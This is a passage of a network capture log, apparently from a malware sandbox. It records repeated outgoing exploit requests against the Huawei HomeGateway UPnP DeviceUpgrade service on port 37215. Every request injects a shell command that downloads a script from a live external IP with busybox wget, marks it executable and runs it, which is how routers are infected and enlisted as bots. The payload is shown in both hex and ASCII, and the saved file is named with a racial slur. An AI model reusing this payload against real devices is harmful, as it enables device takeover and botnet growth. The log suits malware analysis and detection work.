+x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.15	49828	94.120.56.46	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304255962 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.440821886 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.784805059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:53.568799973 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.944714069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.696278095 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.15	35222	94.120.100.141	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304337978 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.440828085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.784804106 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
